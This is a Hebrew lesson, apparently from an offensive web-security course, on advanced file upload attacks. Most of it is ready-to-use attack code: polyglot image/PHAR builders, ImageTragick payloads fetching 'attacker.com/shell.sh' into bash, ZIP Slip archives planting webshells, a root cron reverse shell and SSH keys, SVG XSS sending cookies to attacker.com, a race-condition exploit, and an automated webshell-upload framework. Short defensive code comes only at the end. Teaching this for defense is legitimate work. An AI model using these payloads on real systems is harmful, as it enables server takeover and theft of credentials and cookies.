העלאת קבצים מתקדמת - Advanced File Upload Attacks¶
חזרה קצרה¶
בקורס הבסיסי למדנו על העלאת קבצים כמו web shells ועקיפה של בדיקות סיומת בסיסיות. בשיעור זה נתעמק בטכניקות מתקדמות - קבצים פוליגלוטים, ניצול ImageMagick, התקפת ZIP Slip, מרוץ תנאים, ועוד.
קבצים פוליגלוטים - Polyglot Files¶
קובץ פוליגלוט הוא קובץ שתקין בו-זמנית בשני פורמטים שונים. האפליקציה רואה אותו כתמונה תקינה, אבל השרת מריץ אותו כקוד.
GIFAR - קובץ שהוא גם GIF וגם JAR/ZIP¶
# יצירת GIFAR
# GIF מתחיל ב-GIF89a (או GIF87a)
# ZIP/JAR קורא מסוף הקובץ (End of Central Directory)
# שלב 1: יצירת GIF מינימלי
printf 'GIF89a\x01\x00\x01\x00\x00\x00\x00\x21\xf9\x04\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b' > minimal.gif
# שלב 2: יצירת JAR עם קוד זדוני
echo 'public class Evil { static { Runtime.getRuntime().exec("calc"); } }' > Evil.java
javac Evil.java
jar cf evil.jar Evil.class
# שלב 3: שרשור
cat minimal.gif evil.jar > gifar.gif
PHAR Polyglot - PHP Archive שנראה כתמונה¶
<?php
// יצירת PHAR שנראה כמו JPEG
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub(
"\xff\xd8\xff\xe0" . // JPEG magic bytes
'<?php __HALT_COMPILER(); ?>'
);
// הוספת אובייקט מסוכן ל-metadata
class Exploit {
public $command = "id";
function __destruct() {
system($this->command);
}
}
$phar->setMetadata(new Exploit());
$phar->stopBuffering();
// שינוי שם ל-JPEG
rename('exploit.phar', 'exploit.jpg');
?>
ניצול ה-PHAR דרך פונקציות PHP שתומכות ב-stream wrappers:
// אם האפליקציה מבצעת אחת מהפעולות הבאות על הקובץ שהועלה:
file_exists("phar://uploads/exploit.jpg");
file_get_contents("phar://uploads/exploit.jpg");
include("phar://uploads/exploit.jpg");
// ה-metadata יעבור דסריאליזציה וה-destructor יורץ
יצירת פוליגלוט עם עריכת Hex¶
#!/usr/bin/env python3
"""
יצירת קובץ PNG שמכיל PHP code
"""
# PNG header (8 bytes)
png_header = b'\x89PNG\r\n\x1a\n'
# IHDR chunk (מינימלי)
import struct
import zlib
width = 1
height = 1
bit_depth = 8
color_type = 2 # RGB
ihdr_data = struct.pack('>IIBBBBB', width, height, bit_depth, color_type, 0, 0, 0)
ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)
# tEXt chunk עם PHP code
php_code = b'<?php system($_GET["cmd"]); ?>'
text_data = b'Comment\x00' + php_code
text_crc = zlib.crc32(b'tEXt' + text_data) & 0xffffffff
text_chunk = struct.pack('>I', len(text_data)) + b'tEXt' + text_data + struct.pack('>I', text_crc)
# IDAT chunk (pixel data)
raw_data = b'\x00' + b'\xff\x00\x00' # 1 red pixel
compressed = zlib.compress(raw_data)
idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff
idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc)
# IEND chunk
iend_crc = zlib.crc32(b'IEND') & 0xffffffff
iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)
# כתיבת הקובץ
with open('polyglot.php.png', 'wb') as f:
f.write(png_header + ihdr_chunk + text_chunk + idat_chunk + iend_chunk)
print("[+] Created polyglot PNG with PHP code")
ניצול ImageMagick - ImageTragick¶
רקע¶
ImageMagick היא ספרייה פופולרית לעיבוד תמונות. CVE-2016-3714 (ImageTragick) מאפשרת הרצת קוד דרך עיבוד תמונות.
Payload ב-MVG¶
שמרו כ-exploit.mvg והעלו לאפליקציה שמשתמשת ב-ImageMagick.
Payload ב-SVG¶
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg"|id ""
x="0" y="0" height="640px" width="480px"/>
</svg>
SSRF דרך ImageMagick¶
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
קריאת קבצים¶
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/etc/passwd'
pop graphic-context
Payloads מתקדמים יותר¶
# שימוש ב-delegate לביצוע RCE
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.php?x=`curl attacker.com/shell.sh|bash`)'
pop graphic-context
<!-- SVG עם embedded script -->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj48Ym9keSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+PGltZyBzcmM9Imh0dHA6Ly9hdHRhY2tlci5jb20vP3g9MSIvPjwvYm9keT48L2ZvcmVpZ25PYmplY3Q+PC9zdmc+#x"/>
</svg>
התקפת ZIP Slip¶
עקרון הפעולה¶
כשאפליקציה מחלצת קובץ ZIP, היא בדרך כלל משתמשת בשם הקובץ מתוך ה-ZIP כנתיב. אם שם הקובץ מכיל ../, ניתן לכתוב קבצים מחוץ לתיקייה המיועדת.
יצירת ZIP זדוני עם Python¶
#!/usr/bin/env python3
"""
יצירת קובץ ZIP עם Path Traversal
"""
import zipfile
import io
def create_zip_slip(output_filename, target_path, content):
"""
output_filename: שם קובץ ה-ZIP
target_path: הנתיב היעד (כולל ../)
content: התוכן שיכתב
"""
with zipfile.ZipFile(output_filename, 'w') as zf:
# קובץ רגיל (כדי להיראות לגיטימי)
zf.writestr('readme.txt', 'This is a normal file')
# קובץ זדוני עם path traversal
zf.writestr(target_path, content)
print(f"[+] Created {output_filename}")
print(f"[+] Malicious entry: {target_path}")
# דוגמה 1: כתיבת webshell
create_zip_slip(
'exploit.zip',
'../../../var/www/html/shell.php',
'<?php system($_GET["cmd"]); ?>'
)
# דוגמה 2: כתיבת cron job
create_zip_slip(
'cron_exploit.zip',
'../../../etc/cron.d/backdoor',
'* * * * * root /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"\n'
)
# דוגמה 3: דריסת authorized_keys
create_zip_slip(
'ssh_exploit.zip',
'../../../root/.ssh/authorized_keys',
'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... attacker@machine\n'
)
קוד פגיע¶
# Python - פגיע
import zipfile
import os
def extract_upload(zip_path, extract_dir):
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.namelist():
# פגיע! לא מאמת את הנתיב
zf.extract(member, extract_dir)
קוד מאובטח¶
# Python - מאובטח
import zipfile
import os
def safe_extract(zip_path, extract_dir):
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.namelist():
# בדיקת path traversal
member_path = os.path.realpath(
os.path.join(extract_dir, member)
)
if not member_path.startswith(
os.path.realpath(extract_dir)
):
raise ValueError(
f"Path traversal detected: {member}"
)
zf.extract(member, extract_dir)
SVG XSS¶
קבצי SVG הם XML שיכולים להכיל JavaScript:
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/javascript">
alert(document.cookie);
</script>
<rect width="100" height="100" fill="red"/>
</svg>
<!-- SVG XSS עם event handler -->
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" fill="red"
onload="fetch('http://attacker.com/?c='+document.cookie)"/>
</svg>
<!-- SVG XSS עם foreignObject -->
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100" height="100">
<body xmlns="http://www.w3.org/1999/xhtml">
<script>alert(document.domain)</script>
</body>
</foreignObject>
</svg>
הזרקת JavaScript ב-PDF¶
<!-- PDF שמכיל JavaScript -->
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >>
endobj
4 0 obj
<< /Type /Action /S /JavaScript
/JS (app.alert('XSS in PDF!');) >>
endobj
מרוץ תנאים בוולידציית העלאה - Race Condition¶
עקרון הפעולה¶
אפליקציות מסוימות מעלות את הקובץ קודם, ורק אז בודקות אותו. אם הבדיקה נכשלת - מוחקות אותו. ניתן לנצל את חלון הזמן בין ההעלאה למחיקה:
סקריפט ניצול¶
#!/usr/bin/env python3
"""
Race condition exploit for file upload
"""
import requests
import threading
import time
TARGET = "http://vulnerable-app.com"
UPLOAD_URL = f"{TARGET}/upload"
SHELL_URL = f"{TARGET}/uploads/shell.php"
def upload_shell():
"""העלאת webshell שוב ושוב"""
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
while True:
try:
requests.post(UPLOAD_URL, files=files, timeout=2)
except:
pass
def access_shell():
"""ניסיון גישה ל-shell שוב ושוב"""
while True:
try:
response = requests.get(
f"{SHELL_URL}?cmd=id",
timeout=2
)
if response.status_code == 200 and "uid=" in response.text:
print(f"[+] SUCCESS! Output: {response.text}")
return True
except:
pass
# הרצה במקביל
print("[*] Starting race condition exploit...")
upload_thread = threading.Thread(target=upload_shell)
access_thread = threading.Thread(target=access_shell)
upload_thread.daemon = True
access_thread.daemon = True
upload_thread.start()
access_thread.start()
access_thread.join(timeout=30)
טכניקות עקיפה נוספות¶
Content-Type מול סיומת¶
# שליחת קובץ PHP עם Content-Type של תמונה
files = {
'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg')
}
requests.post(url, files=files)
סיומת כפולה - Double Extension¶
shell.php.jpg # Apache עשוי להריץ כ-PHP
shell.php.xxx # אם xxx לא מוכר, יחזור ל-PHP
shell.pHp # עקיפת בדיקת case-sensitive
Null Byte - בייט אפס (מערכות ישנות)¶
העלאת .htaccess¶
אם אפשר להעלות קובץ .htaccess לתיקיית ההעלאות ב-Apache:
# .htaccess שגורם להרצת PHP בקבצי .jpg
AddType application/x-httpd-php .jpg
# או עם handler מותאם
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
# שלב 1: העלאת .htaccess
files = {'file': ('.htaccess', 'AddType application/x-httpd-php .jpg')}
requests.post(upload_url, files=files)
# שלב 2: העלאת webshell עם סיומת .jpg
files = {'file': ('shell.jpg', '<?php system($_GET["cmd"]); ?>')}
requests.post(upload_url, files=files)
# שלב 3: גישה ל-shell
requests.get(f"{target}/uploads/shell.jpg?cmd=id")
העלאת web.config (IIS)¶
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config"
path="*.config"
verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified"
requireAccess="Write"
preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<%
Response.Write("RCE via web.config!")
Set objShell = CreateObject("WScript.Shell")
Set objExec = objShell.Exec("cmd /c whoami")
Response.Write(objExec.StdOut.ReadAll())
%>
-->
תרחיש ניצול מלא¶
#!/usr/bin/env python3
"""
Advanced File Upload Exploitation Framework
"""
import requests
import sys
class FileUploadExploiter:
def __init__(self, target_url, upload_endpoint, upload_dir):
self.target = target_url
self.upload_url = f"{target_url}/{upload_endpoint}"
self.upload_dir = f"{target_url}/{upload_dir}"
def try_direct_php(self):
"""ניסיון העלאה ישירה של PHP"""
print("[*] Trying direct PHP upload...")
files = {'file': ('shell.php', '<?php system($_GET["c"]); ?>')}
r = requests.post(self.upload_url, files=files)
return self._check_shell("shell.php")
def try_double_extension(self):
"""ניסיון סיומת כפולה"""
print("[*] Trying double extension...")
extensions = ['.php.jpg', '.php.png', '.php5', '.phtml', '.phar']
for ext in extensions:
filename = f"shell{ext}"
files = {'file': (filename, '<?php system($_GET["c"]); ?>')}
requests.post(self.upload_url, files=files)
if self._check_shell(filename):
return True
return False
def try_htaccess(self):
"""ניסיון העלאת .htaccess"""
print("[*] Trying .htaccess upload...")
htaccess = 'AddType application/x-httpd-php .jpg'
files = {'file': ('.htaccess', htaccess)}
requests.post(self.upload_url, files=files)
files = {'file': ('shell.jpg', '<?php system($_GET["c"]); ?>')}
requests.post(self.upload_url, files=files)
return self._check_shell("shell.jpg")
def try_content_type_bypass(self):
"""ניסיון עקיפת Content-Type"""
print("[*] Trying Content-Type bypass...")
files = {
'file': ('shell.php', '<?php system($_GET["c"]); ?>', 'image/jpeg')
}
r = requests.post(self.upload_url, files=files)
return self._check_shell("shell.php")
def _check_shell(self, filename):
"""בדיקה אם ה-shell עובד"""
url = f"{self.upload_dir}/{filename}?c=echo+PWNED"
try:
r = requests.get(url, timeout=5)
if "PWNED" in r.text:
print(f"[+] Shell uploaded: {url}")
return True
except:
pass
return False
def run(self):
"""הרצת כל השיטות"""
methods = [
self.try_direct_php,
self.try_double_extension,
self.try_content_type_bypass,
self.try_htaccess,
]
for method in methods:
if method():
return True
print("[-] All methods failed")
return False
הגנות¶
שינוי שם קבצים¶
import uuid
import os
def safe_upload(file):
# יצירת שם חדש לגמרי
ext = os.path.splitext(file.filename)[1].lower()
allowed_ext = {'.jpg', '.jpeg', '.png', '.gif', '.pdf'}
if ext not in allowed_ext:
raise ValueError("Extension not allowed")
new_name = f"{uuid.uuid4()}{ext}"
file.save(os.path.join(UPLOAD_DIR, new_name))
אחסון מחוץ ל-webroot¶
# שמירה מחוץ לתיקייה הציבורית
UPLOAD_DIR = "/var/uploads/" # לא תחת /var/www/html/
# הגשה דרך controller
@app.route('/files/<filename>')
def serve_file(filename):
return send_from_directory(UPLOAD_DIR, filename)
וולידציית תוכן¶
import magic
def validate_content(filepath):
mime = magic.from_file(filepath, mime=True)
allowed_mimes = {'image/jpeg', 'image/png', 'image/gif'}
if mime not in allowed_mimes:
os.remove(filepath)
raise ValueError(f"Invalid content type: {mime}")
דומיין נפרד להעלאות¶
סיכום¶
| טכניקה | שימוש | דרישות |
|---|---|---|
| פוליגלוט | עקיפת בדיקת תוכן | ידע ב-hex editing |
| ImageTragick | RCE/SSRF דרך תמונות | ImageMagick לא מעודכן |
| ZIP Slip | כתיבת קבצים מחוץ לתיקייה | חילוץ ZIP ללא ולידציה |
| SVG XSS | XSS דרך העלאת תמונות | הגשת SVG ישירות |
| Race Condition | ניצול חלון זמן בין העלאה למחיקה | העלאה ובדיקה לא אטומיות |
| .htaccess | שינוי הגדרות Apache | אפשרות להעלות .htaccess |
| סיומת כפולה | עקיפת בדיקת סיומת | הגדרת Apache/Nginx ספציפית |